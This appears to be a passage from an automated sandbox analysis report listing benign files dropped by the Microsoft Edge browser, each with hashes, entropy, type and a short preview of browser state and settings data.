Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.178095169372338
Encrypted:	false
SSDEEP:	6:HUeKM+q2P923oH+TcwtfrK+IFUt8YUe3Zmw+YUeXcqMVkwO923oH+TcwtfrUeLJ:SM+v4Yeb23FUt8Y/++cqMV5LYeb3J
MD5:	76CC1C65CF5780A738052C25A38CD397
SHA1:	9EBB15406D3D547968629F9027E100918F049883
SHA-256:	0E58212F5E20B7FC7F1B7829B3BE1D5F95F833BBB8B485A7E2556417CCDE5BAB
SHA-512:	0F0F5C313ECE33E0F239E1680E7A0CF04FDEB67284502BAE0066EB10FDC3E86BC0D151861FCCEDEE3586E5327E90EA46C2A3E0335A316503A792CFA0886B0291
Malicious:	false
Preview:	2024/11/19-18:19:14.922 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/19-18:19:14.922 14fc Recovering log #3.2024/11/19-18:19:14.923 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.160092021849043
Encrypted:	false
SSDEEP:	6:HUROMM+q2P923oH+TcwtfrzAdIFUt8YUecSZZmw+YUeoMVkwO923oH+TcwtfrzId:Y1M+v4Yeb9FUt8k1Z/+ZMV5LYeb2J
MD5:	24EF7ECA20CA630C991306BCD65BBB85
SHA1:	7BA95F30D9499300739FC290589E100651B791FB
SHA-256:	5D693D4283ED170E7B97CA19047AE50A88051D4985B4839BDA0EB61FD31B600C
SHA-512:	9E0065CEAC516402E78810B9272D4F014EE5D0E1F57123671015E58322261FAAA1DB74376D703C94C678DFCDF9356C1E7A6392DE794A0781E5DFAB74FDAF5F2D
Malicious:	false
Preview:	2024/11/19-18:19:14.894 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/19-18:19:14.919 14fc Recovering log #3.2024/11/19-18:19:14.920 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.160092021849043
Encrypted:	false
SSDEEP:	6:HUROMM+q2P923oH+TcwtfrzAdIFUt8YUecSZZmw+YUeoMVkwO923oH+TcwtfrzId:Y1M+v4Yeb9FUt8k1Z/+ZMV5LYeb2J
MD5:	24EF7ECA20CA630C991306BCD65BBB85
SHA1:	7BA95F30D9499300739FC290589E100651B791FB
SHA-256:	5D693D4283ED170E7B97CA19047AE50A88051D4985B4839BDA0EB61FD31B600C
SHA-512:	9E0065CEAC516402E78810B9272D4F014EE5D0E1F57123671015E58322261FAAA1DB74376D703C94C678DFCDF9356C1E7A6392DE794A0781E5DFAB74FDAF5F2D
Malicious:	false
Preview:	2024/11/19-18:19:14.894 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/19-18:19:14.919 14fc Recovering log #3.2024/11/19-18:19:14.920 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090738205813466
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMpwuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6Xtbz8hu3VlXr4CRo1
MD5:	AA539E6A731163FF8F98E806E259C6E1
SHA1:	6347B122D517C4CCE6CEC1B6459DFE4224C7BDB1
SHA-256:	ADC26AEC1B8995A91313920ADB7324389D9C8342EAABDAA41691A68CC1AB93D8
SHA-512:	87B59DD010BF8C55D1F94829EFD6357A86D94A69BBD114CE4960298B630532E8C009606F370887A459CBC72BDB163E1455697BA1C3B6E1CDA164628606394DDA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35bae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090738205813466
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMpwuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6Xtbz8hu3VlXr4CRo1
MD5:	AA539E6A731163FF8F98E806E259C6E1
SHA1:	6347B122D517C4CCE6CEC1B6459DFE4224C7BDB1
SHA-256:	ADC26AEC1B8995A91313920ADB7324389D9C8342EAABDAA41691A68CC1AB93D8
SHA-512:	87B59DD010BF8C55D1F94829EFD6357A86D94A69BBD114CE4960298B630532E8C009606F370887A459CBC72BDB163E1455697BA1C3B6E1CDA164628606394DDA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35bcd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090738205813466
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMpwuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6Xtbz8hu3VlXr4CRo1
MD5:	AA539E6A731163FF8F98E806E259C6E1
SHA1:	6347B122D517C4CCE6CEC1B6459DFE4224C7BDB1
SHA-256:	ADC26AEC1B8995A91313920ADB7324389D9C8342EAABDAA41691A68CC1AB93D8
SHA-512:	87B59DD010BF8C55D1F94829EFD6357A86D94A69BBD114CE4960298B630532E8C009606F370887A459CBC72BDB163E1455697BA1C3B6E1CDA164628606394DDA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35d92.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090738205813466
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMpwuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6Xtbz8hu3VlXr4CRo1
MD5:	AA539E6A731163FF8F98E806E259C6E1
SHA1:	6347B122D517C4CCE6CEC1B6459DFE4224C7BDB1
SHA-256:	ADC26AEC1B8995A91313920ADB7324389D9C8342EAABDAA41691A68CC1AB93D8
SHA-512:	87B59DD010BF8C55D1F94829EFD6357A86D94A69BBD114CE4960298B630532E8C009606F370887A459CBC72BDB163E1455697BA1C3B6E1CDA164628606394DDA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38415.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090738205813466
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMpwuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6Xtbz8hu3VlXr4CRo1
MD5:	AA539E6A731163FF8F98E806E259C6E1
SHA1:	6347B122D517C4CCE6CEC1B6459DFE4224C7BDB1
SHA-256:	ADC26AEC1B8995A91313920ADB7324389D9C8342EAABDAA41691A68CC1AB93D8
SHA-512:	87B59DD010BF8C55D1F94829EFD6357A86D94A69BBD114CE4960298B630532E8C009606F370887A459CBC72BDB163E1455697BA1C3B6E1CDA164628606394DDA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF46e56.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090738205813466
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMpwuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6Xtbz8hu3VlXr4CRo1
MD5:	AA539E6A731163FF8F98E806E259C6E1
SHA1:	6347B122D517C4CCE6CEC1B6459DFE4224C7BDB1
SHA-256:	ADC26AEC1B8995A91313920ADB7324389D9C8342EAABDAA41691A68CC1AB93D8
SHA-512:	87B59DD010BF8C55D1F94829EFD6357A86D94A69BBD114CE4960298B630532E8C009606F370887A459CBC72BDB163E1455697BA1C3B6E1CDA164628606394DDA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4c996.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090738205813466
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMpwuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6Xtbz8hu3VlXr4CRo1
MD5:	AA539E6A731163FF8F98E806E259C6E1
SHA1:	6347B122D517C4CCE6CEC1B6459DFE4224C7BDB1
SHA-256:	ADC26AEC1B8995A91313920ADB7324389D9C8342EAABDAA41691A68CC1AB93D8
SHA-512:	87B59DD010BF8C55D1F94829EFD6357A86D94A69BBD114CE4960298B630532E8C009606F370887A459CBC72BDB163E1455697BA1C3B6E1CDA164628606394DDA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
